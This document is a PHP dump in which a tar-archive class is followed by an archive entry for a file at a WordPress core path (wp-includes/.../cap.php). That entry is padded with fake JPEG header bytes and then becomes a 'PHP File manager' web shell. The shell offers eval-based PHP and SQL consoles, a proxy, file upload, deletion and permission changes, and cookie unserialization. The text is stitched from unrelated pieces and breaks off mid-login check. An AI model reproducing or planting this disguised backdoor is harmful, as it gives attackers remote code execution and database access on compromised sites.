				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>PK     |\FL @  @   cap.php.tarnu [        home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php                                  0000644                 00000234451 15217274014 0021221 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................<?php
/**

.........................................
.............................................................................                                                  
                                                                                                                                                                                     <?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
